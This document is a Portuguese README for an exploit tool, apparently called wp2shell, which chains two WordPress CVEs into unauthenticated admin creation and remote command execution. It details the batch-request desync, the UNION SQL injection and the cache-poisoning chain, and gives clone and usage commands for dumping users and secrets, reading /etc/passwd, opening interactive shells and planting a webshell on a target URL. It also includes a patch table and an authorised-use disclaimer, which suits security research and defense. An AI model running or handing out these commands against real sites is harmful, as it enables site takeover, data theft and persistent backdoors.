
PoC para CVE-2026-63030 + CVE-2026-60137, também conhecido como WP2Shell
Execução remota de código pré-autenticação para WordPress 6.9.0–6.9.4 e 7.0.0–7.0.1.
Encadeia o CVE-2026-63030 (confusão de rota em lote com SQLi) com o CVE-2026-60137 (reentrada de changeset do customizer) para obter criação de administrador não autenticado e execução de comandos no sistema operacional. Nenhuma quebra de senha necessária.

Créditos a hashkitten pela descoberta; leia a análise técnica completa da SLCyber aqui.
O processador de lotes da REST API do WordPress (serve_batch_request_v1) tem um bug de indexação off-by-one: quando wp_parse_url() falha em um caminho de sub-requisição, o WP_Error resultante é enviado para $validation[] mas não para $matches[]. Isso dessincroniza os dois arrays — cada requisição subsequente é despachada sob o handler errado.
Ao aninhar um lote cuidadosamente estruturado dentro de outro lote, um atacante pode:
author__not_in (a conversão string→array ignora absint())UNION SELECT para envenenar o cache de objetos do WordPress com objetos de post falsosQuando a preparação estiver completa (descobrindo o prefixo da tabela e o ID do administrador), o payload de escalonamento é disparado em uma única requisição HTTP — envenenamento de cache, escalonamento de privilégios e criação de usuário acontecem todos no servidor em uma única ida e volta.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
Envenenamento de cache (7 posts falsos via UNION):
[embed] no conteúdocustomize_changeset, status future, data no passado)post_type=nav_menu_item para a verificação is_nav_menu_item)post_type=request, post_status=parse, parent=inner)Fluxo de Execução:
[embed] é disparadowp_update_postwp_update_post lê o changeset em cache (parent=outer) → a verificação de hierarquia detecta o Loop 1future → converte automaticamente para publish_wp_customize_publish_changeset é disparado → wp_set_current_user(admin_id) → contexto de administrador ativonav_menu_item[real_id] — o cache diz type=nav_menu_item → caminho UPDATEobject_id resolve para um post em cache com post_parent=re-entry → wp_update_post no post realUma variável de sessão MySQL anti-recursão (@_wp2s) garante que a cadeia seja disparada exatamente uma vez e não entre em loop.
--cleanup exclui o usuário criado e remove o webshell ao sairgit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Sem pip install, sem virtualenv. É um único arquivo.
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
Os comandos check e read funcionam em qualquer alvo afetado. A cadeia exploit tem três requisitos adicionais:
Se o alvo usar Redis ou Memcached como cache de objetos, split_the_query é forçado a ficar ativo independentemente de per_page, e as linhas UNION são descartadas durante a busca somente por ID. O comando read ainda funciona (a extração cega não precisa que o UNION sobreviva no cache), mas exploit falhará.
| Branch | Vulnerável | Corrigida |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
O patch adiciona $matches[] = $single_request; para casos de erro (corrigindo o off-by-one) e uma proteção de reentrada em serve_request().
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
Por que /wp/v2/widgets como rota de origem?
O controller de Widgets não registra per_page, orderby ou author_exclude no schema do endpoint. Esses parâmetros passam pela validação intactos (parâmetros desconhecidos são ignorados pelo validador de schema). Quando o desync despacha essa requisição através do controller de Posts, esses valores brutos fluem diretamente para WP_Query.
Por que per_page=500?
class-wp-query.php:3375 — o split_the_query exige !empty($limits) && posts_per_page < 500. Com per_page=500, a condição 500 < 500 é falsa, então o split_the_query é desativado. A consulta completa (incluindo UNION) é executada como uma única instrução, e todas as linhas injetadas sobrevivem no conjunto de resultados e no cache.
Por que nav_menu_item[real_id] (ID positivo)?
Usar um ID de post positivo entra no caminho de UPDATE em nav-menu.php:614, que chama wp_update_post com um $post_id diferente de zero. Isso é crítico porque wp_check_post_hierarchy_for_loops em post.php:8070 retorna cedo quando $post_id = 0 (posts novos). O cache é envenenado com post_type=nav_menu_item para esse ID, para que is_nav_menu_item() passe na verificação de tipo em nav-menu.php:426. O caminho de UPDATE então dispara a verificação de hierarquia que detecta o Loop 2.
Por que dois loops de hierarquia?
O Loop 1 (changeset ↔ outer) dispara a publicação do changeset e define o contexto de administrador. O Loop 2 (re-entry ↔ inner) é disparado durante a janela de administrador (dentro da chamada save() da configuração do item de menu de navegação no loop de publicação do changeset) e aciona parse_request → reentrada na REST. Os loops são independentes porque o fix-up do Loop 2 precisa gravar o post de reentrada no banco de dados durante a janela de administrador na linha 3581 — antes do reset na linha 3589.
Esta ferramenta é publicada para fins autorizados de teste de segurança e pesquisa. Use-a apenas contra sistemas que você possua ou para os quais tenha autorização explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal.
Pesquisa e desenvolvimento por CryptoCat.
$post_idwp_update_post(re-entry) → grava type=request, status=parse no banco de dadoswp_transition_post_status dispara do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users na parte final é bem-sucedido → administrador criado → die()| Requisito | Porquê | WordPress padrão? |
|---|
| Pelo menos um post publicado | o oEmbed precisa de uma URL local para acionar o processamento de embed | Sim (Hello World) |
| Sem cache de objetos persistente | O split-the-query precisa estar desativado para que as linhas UNION sobrevivam | Sim (padrão de cache de arquivo) |
| API REST acessível | A reentrada via parse_request precisa do servidor REST | Sim |
| Escrita direta no sistema de arquivos | O upload de plugins precisa de FS_METHOD=direct ou do PHP sendo dono do wp-content | Sim (na maioria dos hosts) |